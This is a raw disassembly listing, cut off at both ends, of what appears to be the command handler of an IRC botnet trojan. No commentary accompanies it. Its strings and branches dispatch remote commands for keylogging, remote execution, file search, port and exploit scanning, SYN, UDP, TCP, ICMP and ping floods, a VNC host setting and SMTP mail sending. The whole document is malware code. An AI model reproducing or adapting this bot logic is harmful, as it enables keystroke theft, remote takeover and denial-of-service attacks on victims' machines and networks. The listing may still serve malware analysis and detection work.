		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
